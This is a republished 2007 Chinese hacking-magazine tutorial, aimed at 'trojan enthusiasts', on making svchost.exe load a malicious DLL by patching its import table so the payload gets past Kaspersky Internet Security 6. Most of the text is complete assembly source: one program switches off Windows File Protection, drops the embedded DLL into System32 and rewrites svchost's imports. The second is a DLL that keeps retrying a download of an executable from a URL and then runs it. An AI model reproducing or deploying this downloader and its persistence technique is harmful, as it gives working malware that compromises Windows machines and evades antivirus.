修改引入表打造穿透KIS6的下载者(转)
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
本文已经发表在《黑客防线》2007年2月刊。作者及《黑客防线》保留版权,转载请注明原始出处。
适合读者:木马爱好者
前置知识:汇编语言基础,PE结构基础
文/图 孤烟逐云(gyzy)【江苏大学信息安全系 & 邪恶八进制信息安全团队】
今年四月份的黑防有一篇文章《把任意可执行文件作为木马载体》,文中介绍了通过给可执行文件添加一个新节并修改程序入口点的方法来加载我们的特洛伊DLL,此方法具有明显的病毒行为特征,卡巴会将其识别为新的Win32病毒,据我的理解,凡是入口点不是指向代码节的它都会报有毒.KIS是防火墙与杀毒软件等传统安全产品的超集,是行为加特征码来防范恶意软件,所以以往普遍使用的诸如:CreateRemoteThread、SetThreadContext、SetWindowHook等等以及通过Appinit_Dlls等注册表键值来进行代码注入的行为都会被KIS所拦截.而且可信进程的可疑网络行为也会被警告,如:IE浏览器访问一些非Web端口.Windows 系统服务分为独立进程和共享进程两种,在Windows NT时只有服务器管理器SCM(Services.exe)有多个共享服务,随着系统内置服务的增加,从Windows 2000开始微软又把很多服务做成共享方式,由svchost.exe启动。svchost作为NT平台网络服务的载体,是唯一一个在kIS下拥有完全访问网络权限的程序,假如能让它加载我们的DLL,那么就可以轻松穿透KIS这堵铁墙.修改svchost的引入表就能达到这个目的,前段时间的一个后门"黑客之门"就是通过这种方式自启动的,修改EXE文件的引入表需要读者对PE文件结构有一定的了解,何为引入表呢?每个PE文件都有引入表,svchost的引入表如图1:
图1
每个引入的DLL都会用一个IMAGE_IMPORT_DESCRIPTOR表示,该结构定义如下:
IMAGE_IMPORT_DESCRIPTOR STRUCT
union
Characteristics dd ?
OriginalFirstThunk dd ?
ends
TimeDateStamp dd ?
ForwarderChain dd ?
Name1 dd ?
FirstThunk dd ?
IMAGE_IMPORT_DESCRIPTOR ENDS
对照着图应该很容易明白,修改后的引入表如图2:
这样,系统重启后svchost就会默认加载我们的sec.dll,于是强大的卡巴就倒在了脚下。
其实,像“黑客之门”一样修改引入表实现自启动非常简单,方法有两种,一种是利用微软提供的Detour库实现,另外一种就是自己实现,我比较推荐第一种,但是抱着学习的目的我们还是得练练手,代码我已经用纯ASM实现了一个简单的下载者,仅供各位参考,概括的说一下实现过程:
1.定位目标原引入表,将其读出
2.增加一个新节
3.将被我们修改过的引入表写入新节
4.将目标的引入表地址指向新节
这有个问题需要澄清一下,增加一个新节会使目标的文件大小改变,要文件大小不变也可以,只要找到足够大的空隙,然后写入新引入表即可,我下面的代码以XP下的svchost作为例子,所以无法插入空隙,修改使文件大小不改变的就留给各位读者当个作业吧。
Copy code
.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;include
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include kernel32.inc
includelib kernel32.lib
include advapi32.inc
includelib advapi32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
dwWriten dd 0
zero dd 0
dllname db 'sec.dll',0
funpara db 0,0,'SecConfig',0
PE_Header IMAGE_NT_HEADERS <0>
My_Section IMAGE_SECTION_HEADER <>
My_Dll MAGE_IMPORT_DESCRIPTOR <>
My_DllName IMAGE_IMPORT_BY_NAME <>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.const
Head_Len equ sizeof IMAGE_NT_HEADERS + sizeof IMAGE_SECTION_HEADER
;宏
CTEXT MACRO y:VARARG
LOCAL sym
CONST segment
ifidni <y>,<>
sym db 0
else
sym db y,0
endif
CONST ends
exitm <offset sym>
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
include disablewfp.asm
start:
.code
call _Sfcoff ;关闭文件保护
call CreateDll
call SetFile
call Modimport ;改写PE文件引入表
exit:
invoke ExitProcess,NULL;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;对目标文件进行更名
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
SetFile proc
local destpath[255]:BYTE
local tmppath[255]:BYTE
invoke RtlZeroMemory,addr destpath,255
invoke RtlZeroMemory,addr tmppath,255
invoke GetSystemDirectory,addr destpath,255
invoke GetSystemDirectory,addr tmppath,255
invoke lstrcat,addr destpath,CTEXT("\svchost.exe")
invoke lstrcat,addr tmppath,CTEXT("\suchost.exe")
invoke MoveFile,addr destpath,addr tmppath
invoke CopyFile,addr tmppath,addr destpath,FALSE
ret
SetFile endp;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;RVA转换成磁盘文件中的偏移
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
RVAToOffset PROC uses edi esi edx ecx pFileMap:DWORD,RVA:DWORD
mov esi,pFileMap
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
mov edi,RVA ; edi == RVA
mov edx,esi
add edx,sizeof IMAGE_NT_HEADERS
mov cx,[esi].FileHeader.NumberOfSections
movzx ecx,cx
assume edx:ptr IMAGE_SECTION_HEADER
.while ecx>0 ; check all sections
.if edi>=[edx].VirtualAddress
mov eax,[edx].VirtualAddress
add eax,[edx].SizeOfRawData
.if edi<eax ; The address is in this section
mov eax,[edx].VirtualAddress
sub edi,eax
mov eax,[edx].PointerToRawData
add eax,edi ; eax == file offset
ret
.endif
.endif
add edx,sizeof IMAGE_SECTION_HEADER
dec ecx
.endw
assume edx:nothing
assume esi:nothing
mov eax,edi
ret
RVAToOffset endpModimport proc
local szpath[255]:BYTE
LOCAL hFile: HANDLE
LOCAL dwPE_Header_OffSet: DWORD
LOCAL dwFileReadWritten: DWORD
LOCAL dwMySectionOffSet: DWORD
LOCAL dwLastSection_SizeOfRawData: DWORD
LOCAL dwLastSection_PointerToRawData: DWORD
LOCAL hMapping: DWORD
LOCAL pMapping: DWORD
LOCAL oImport[520]:BYTE
LOCAL oImportlen
LOCAL Chrarctics
LOCAL dllnamelen:DWORD
LOCAL funparalen:DWORD
LOCAL irva:DWORDinvoke RtlZeroMemory,addr oImport,520
invoke RtlZeroMemory,addr szpath,255
nvoke lstrcat,addr szpath,CTEXT("test.exe");打开文件:
invoke CreateFile, addr szpath, GENERIC_READ or GENERIC_WRITE,\
FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
.if eax == INVALID_HANDLE_VALUE
jmp Err_CreateFile_Exit
.endif
mov hFile, eax
;创建内存映射文件
invoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0
.if eax!=NULL
mov hMapping, eax
.endif
invoke MapViewOfFile,hMapping,FILE_MAP_READ,0,0,0
.if eax!=NULL
mov pMapping,eax
.endif;****************************************
;读取PE文件头
;****************************************
invoke SetFilePointer, hFile, 3ch, 0, FILE_BEGIN
invoke ReadFile, hFile, addr dwPE_Header_OffSet, 4, addr dwFileReadWritten, NULL
invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
invoke ReadFile, hFile, addr PE_Header, Head_Len, addr dwFileReadWritten, NULL
;****************************************
;PE文件有效性检查
;****************************************
.if [PE_Header.Signature] != IMAGE_NT_SIGNATURE
jmp Exit
.endif
;****************************************
;判断是否有足够空间存储新节:
;****************************************
movzx eax, [PE_Header.FileHeader.NumberOfSections] ;得到添加新节前有多少个节:
mov ecx, 28h ;28h = sizeof IMAGE_SECTION_HEADER
mul ecx ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
add eax, dwPE_Header_OffSet ;eax = eax + PE文件头偏移
add eax, 18h ;18h = sizeof IMAGE_FILE_HEADER
movzx ecx, [PE_Header.FileHeader.SizeOfOptionalHeader]
add eax, ecx ;eax = eax + sizeof IMAGE_OPTIONAL_HEADER
add eax, 28h ;添加一个新节的大小
.if eax > [PE_Header.OptionalHeader.SizeOfHeaders]
jmp Exit
.endif;**************************************************
;计算新节的偏移地址:
;**************************************************
movzx eax, [PE_Header.FileHeader.NumberOfSections]
mov ecx, 28h
mul ecx ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
add eax, 4h ;4h = sizeof "PE\0\0"
add eax, dwPE_Header_OffSet
add eax, sizeof IMAGE_FILE_HEADER
add eax, sizeof IMAGE_OPTIONAL_HEADER
mov dwMySectionOffSet, eax ;现在得到了我们的新节的偏移地址
push [PE_Header.OptionalHeader.SizeOfImage]
pop [My_Section.VirtualAddress]
;****************************************
;重构引入表,在文件的最后写入我们的新节:
;****************************************
;读取原始引入表数据,读取正确的不带0的引入表
mov edi,[PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].VirtualAddress]
invoke RVAToOffset,pMapping,edi
mov edi,eax
invoke SetFilePointer, hFile, edi, 0, FILE_BEGIN
;不读空的结束符
mov oImportlen,0
lea edi,oImport
calclen:
invoke ReadFile, hFile, edi , 4, addr dwFileReadWritten, NULL
mov ebx,[edi]
test ebx,ebx
jz calcover
add edi,4
add oImportlen,4
jmp calclen
calcover:;写入dll名称,定位到最后一节的raw offset处
mov eax, dwMySectionOffSet
sub eax, 18h
invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL
invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL
mov ebx, dwLastSection_SizeOfRawData
add ebx, dwLastSection_PointerToRawData
invoke SetFilePointer, hFile, ebx, 0, FILE_BEGIN
push 0
lea eax, dwFileReadWritten
push eax
mov eax,sizeof dllname
mov dllnamelen,eax
push eax ;[My_Section.SizeOfRawData]
lea eax, dllname
push eax
push hFile
call WriteFile
;写入IMAGE_THUNK_DATA
push 0
lea eax, dwFileReadWritten
push eax
mov eax,sizeof funpara
;add eax,sizeof funpara
mov funparalen,eax
push eax
lea eax, funpara
push eax
push hFile
call WriteFile
;写入IMAGE_THUNK_DATA的RVA
mov eax,[My_Section.VirtualAddress]
add eax,dllnamelen
mov irva,eax
invoke WriteFile, hFile, addr irva, 4, addr dwFileReadWritten, NULL
;写入一个空IMAGE_THUNK_DATA的RVA作为结尾
invoke WriteFile, hFile, addr zero, 4, addr dwFileReadWritten, NULL
;写入原引入表数据
mov ecx,oImportlen
invoke WriteFile, hFile, addr oImport, ecx, addr dwFileReadWritten, NULL
;构造新引入的DLL的IMAGE_IMPORT_DESCRIPTOR
mov eax,[My_Section.VirtualAddress]
add eax,dllnamelen
add eax,funparalen
mov [My_Dll.OriginalFirstThunk],eax
mov [My_Dll.TimeDateStamp],0FFFFFFFFh
mov [My_Dll.ForwarderChain],0FFFFFFFFh
mov ebx,[My_Section.VirtualAddress]
mov [My_Dll.Name1],ebx
mov [My_Dll.FirstThunk],eax
;写入新引入的DLL的IMAGE_IMPORT_DESCRIPTOR
invoke WriteFile, hFile, addr My_Dll, 20, addr dwFileReadWritten, NULL
;写入以0结尾的空IMAGE_IMPORT_DESCRIPTOR
push 20
pop ecx
fillzero:
push ecx
invoke WriteFile, hFile, addr zero, 1, addr dwFileReadWritten, NULL
pop ecx
dec ecx
test ecx,ecx
jnz fillzero;****************************************
;填充我们自己的节的信息:
;****************************************
mov dword ptr [My_Section.Name1], "ler."
mov dword ptr [My_Section.Name1]+4, "co"
mov [My_Section.Misc.VirtualSize], 1000h
push [PE_Header.OptionalHeader.SizeOfImage]
pop [My_Section.VirtualAddress]
mov eax, [My_Section.Misc.VirtualSize]
mov eax,dllnamelen
add eax,funparalen
add eax,28
add eax,[PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].isize]
mov [My_Section.SizeOfRawData], eax ;SizeOfRawData在EXE文件中是对齐到FileAlignMent的整数倍的值
mov eax, dwMySectionOffSet
sub eax, 18h ;这个偏移是定位到最后一节的“SizeOfRawData”
invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL
invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL
;每个节的 PointerToRawData 等于它的上一节的 SizeOfRawData + PointerToRawData:
mov eax, dwLastSection_SizeOfRawData
add eax, dwLastSection_PointerToRawData
mov [My_Section.PointerToRawData], eax
mov [My_Section.PointerToRelocations], 0h
mov [My_Section.PointerToLinenumbers], 0h
mov [My_Section.NumberOfRelocations], 0h
mov [My_Section.NumberOfLinenumbers], 0h
mov [My_Section.Characteristics], 0C0000040h ;可读可写;**************************************************
;重新写入IMAGE_SECTION_HEADER:(包含了新节的信息)
;**************************************************
invoke SetFilePointer, hFile, dwMySectionOffSet, 0, FILE_BEGIN
invoke WriteFile, hFile, addr My_Section, sizeof IMAGE_SECTION_HEADER, addr dwFileReadWritten, NULL;**************************************************
;改写IMAGE_NT_HEADERS
;(需要改写 SizeOfImage)
;**************************************************
inc [PE_Header.FileHeader.NumberOfSections]
mov eax, [My_Section.VirtualAddress]
add eax, dllnamelen
add eax, funparalen
add eax, 8
mov [PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].VirtualAddress],eax
mov eax, [My_Section.Misc.VirtualSize]
mov ecx, [PE_Header.OptionalHeader.SectionAlignment]
cdq
div ecx
inc eax
mul ecx
add eax, [PE_Header.OptionalHeader.SizeOfImage]
mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*11].VirtualAddress], 0
mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*11].isize], 0
mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*12].VirtualAddress], 0
mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*12].isize], 0
sub eax,1000h
mov [PE_Header.OptionalHeader.SizeOfImage], eax ;SizeOfImage是一个对齐到SectionAlignment的整数倍的值
invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
invoke WriteFile, hFile, addr PE_Header, sizeof IMAGE_NT_HEADERS, addr dwFileReadWritten, NULL
;改写.text属性为E00000020h,默认.text为第一个节
mov eax, dwPE_Header_OffSet
add eax, sizeof IMAGE_FILE_HEADER
add eax, sizeof IMAGE_OPTIONAL_HEADER
add eax,40;定位到Characteristics 0E0000020h
invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
push NULL
lea eax, dwFileReadWritten
push eax
push 4
mov Chrarctics,0E0000020h
lea eax,Chrarctics
push eax
push hFile
call WriteFile
Exit:
;关闭文件:
invoke UnmapViewOfFile, pMapping
invoke CloseHandle,hMapping
invoke CloseHandle, hFile
Err_CreateFile_Exit:
ret
Modimport endp;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;释放DLL至系统目录
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>
CreateDll proc
local hResInfo:HRSRC
local hResData:HGLOBAL
local dwSize:DWORD
local dwWritten:DWORD
local hFile:HANDLE
local hRec:HANDLE
local dllpath[255]:BYTE
invoke RtlZeroMemory,addr dllpath,255
invoke GetSystemDirectory,addr dllpath,255
invoke lstrcat,addr dllpath,CTEXT("\sec.dll")
invoke FindResource,0,1001,CTEXT("DLL")
mov hResInfo,eax
invoke SizeofResource,0,hResInfo
mov dwSize,eax
invoke LoadResource,0,hResInfo
mov hResData,eax
invoke CreateFile,addr dllpath,GENERIC_WRITE,0, NULL,CREATE_ALWAYS,0,NULL
mov hFile,eax
invoke LockResource,hResData
mov hRec,eax
invoke WriteFile,hFile,hRec,dwSize,addr dwWritten,0
invoke CloseHandle,hFile
ret
CreateDll endpend start
DLL实现下载并执行的功能,代码如下:
.386
.model flat, stdcall
option casemap :none ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include kernel32.inc
includelib kernel32.libdown proto
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
return MACRO arg
mov eax, arg
ret
ENDM;宏
CTEXT MACRO y:VARARG
LOCAL sym
CONST segment
ifidni <y>,<>
sym db 0
else
sym db y,0
endif
CONST ends
exitm <offset sym>
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
szURL db 'http://127.0.0.1/gyzy.exe',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
szPath db 'c:\a.exe',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
LibMain proc hInstDLL:DWORD, reason:DWORD, unused:DWORD
.if reason == DLL_PROCESS_ATTACH
invoke CreateThread,0,0,offset down,0,0,0
return TRUE
.elseif reason == DLL_PROCESS_DETACH
.elseif reason == DLL_THREAD_ATTACH
.elseif reason == DLL_THREAD_DETACH
.endif
ret
LibMain Endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;下载者功能执行模块
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
down proc
local downfunc:DWORD
call loadlib
lib db 'urlmon',0
loadlib:
call LoadLibraryA
call getfuncaddr
func db 'URLDownloadToFileA',0
getfuncaddr:
push eax
call GetProcAddress
mov downfunc,eaxagain:
push 5000
call Sleep
push NULL
push NULL
push offset szPath
push offset szURL
push NULL
call downfunc
test eax,eax
jnz againcall exec
tExit:
ret
down endpexec proc
invoke WinExec,offset szPath,1
ret
exec endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;为引入表导出的函数
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
SecConfig proc
xor eax,eax
ret
SecConfig endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
End LibMain
其中我们的DLL必须导出一个函数,否则svchost会报找不到指定的要加载的DLL,测试的时候需要先停止windows系统文件保护,然后替换svchost.exe,重启后就会发现我们的小马已经成功下载东西,但是还有一些瑕疵有待改善,XP下默认有多个svchost,所以我们的DLL中的线程也运行了多次。卡巴大叔一点反应都没有(除程序完整性检测外其余均打开的情况下,默认的高级模式)如图3:
图3
代码写的比较匆忙,错误纰漏在所难免,权当抛砖引玉,有任何问题,欢迎和我交流:www.gyzy.org
(文中涉及程序或代码已经收录到杂志配套光盘“杂志相关”栏目。)
转载于:https://www.cnblogs.com/nniixl/archive/2007/05/02/734292.html
修改引入表打造穿透KIS6的下载者(转)相关推荐
- 剖析恶意网页修改注册表的十二种现象
[小蓉] 近来,屡屡发生网友在浏览网页时,造成注册表被修改,使得IE默认连接首页.标题栏及IE右键菜单被改为浏览网页时的地址(多为广告信息),更有甚者使浏览者的电脑在启动时出现一个提示窗口显示自己的广 ...
- cmd下修改注册表完全攻略
cmd下修改注册表完全攻略 2005-5-10 17:27:00 信息来源:[url]www.juntuan.net[/url] regedit虽是gui下使用的东东 但其实是有未公开的参数的 可以在 ...
- django批量修改table_Django修改桥表(Django modify bridge table)
Django修改桥表(Django modify bridge table) 我的django应用程序中有两个模型,事件/用户,它们具有多对多的关系. 活动可以有很多与会者(用户). 用户可以参加很多 ...
- vba 修改access表的链接地址_神奇的VBA编程:禁止修改Excel工作表名称
职场中经常需要将做好的Excel表格/模板发给他人或者存放在公共路径上共享使用,此时需要禁止别人更改已经设定好的工作表名称.或者某些工作簿中有公式使用了对某些工作表的外部引用,如果工作表名称发生变化, ...
- C#通过修改注册表改变IE默认选项
修改注册表,这个代码好实现,关键是怎么找到对应的注册表值,也就是说画一条线很容易,难的是找到要在哪里画,然后我百度了一圈,出来的都是画线的,没有指出或者指出的不全的注册表对应值,只能FQ谷歌了,也就有 ...
- 注册表改win 7更新服务器,Win7 SP1 修改注册表升级的说明事项
Win7之家( www.win7china.com):Win7 SP1 修改注册表升级的说明事项 同Vista时代的SP1.SP2等Service Pack包的发布形式类似,Win7 SP1 Beta ...
- 以修改注册表的方式避免ACK确认机制带来的延时现象
TCP本身属面向链接的通讯协议.通讯双方的每一个收发动作,需要以通讯链路正常为前提.因此TCP协议内部提供了默认的ACK验证机制. 假定A.B之间存在一条TCP通讯链路,某一时刻A第一次向B发送数据, ...
- Excel如何批量修改工作表名称
今天跟大家分享一下Excel如何批量修改工作表名称 1.下图工作簿中含有多个工作表,现在我们想要将工作表名称批量修改为1月-9月. 2.首先我们现在表格空白区域录入1月-9月 3.点击下图选项(Exc ...
- mysql gh 划线,gh-ost:在线DDL修改MySQL表结构工具
在之前,我分享过一次pt-online-schema-change在线DDL的工具实践记录,在实际使用过程中,发现部门的很多老系统大量使用了触发器,从而无法使用这个工具,非常遗憾!导致很多DDL变更都 ...
最新文章
- python loading_MXNet Python Data Loading API
- HDOJ 2176 取石子游戏
- 二维计算几何基础知识
- 使用asp.net中的跟踪功能
- 开源数据访问组件Smark.Data 1.7新增功能
- java并发编程实践(2)线程安全性
- PHP+jquery 树状菜单
- html5 deckview,六本木Hills出現超大型巨人?進擊的巨人展FINAL×頂樓Sky Deck的VR體驗...
- 2021,你好哇!发个小红包可好~
- 计算机管理器win8,Win8如何快速打开资源管理器,Win8快速打开计算机操作方法
- iOS之Cocoapods安装
- 实习成长之路:MySQL十二:为什么我删除了表的不少数据,但是大小没变呢?
- 如何使用Transact-SQL进行事务处理[示例]
- 基于ssm校园餐厅订餐管理系统获取(java毕业设计)
- 4.6 Data符号调制——16QAM
- 记录五年前的天马行空的想象
- HAU寒假训练第一周
- Linux下构建一个deb软件安装包
- 将Excel数据导入到Notes应用
- Android7.0上拍照与选择照片Crash问题
热门文章
- nodejs mysql 创建连接池
- createQuery与createSQLQuery
- [C] 跨平台使用Intrinsic函数范例3——使用MMX、SSE2指令集 处理 32位整数数组求和...
- 把数据导出Excel
- 近期工作:Updater Application Block (UAB)继续
- 计算机网络实验四:利用UDP协议实现点对点聊天
- php 双向加密解密,一个php双向加密解密法
- Mysql商品和图片表_【mysql】数据库设计模式:多个图片怎么和商品关联
- 北斗导航 | 北斗伪距定位、测速与授时——PNT:最小二乘法、加权最小二乘:伪距单点定位
- MSG结构体和WndProc窗口过程详解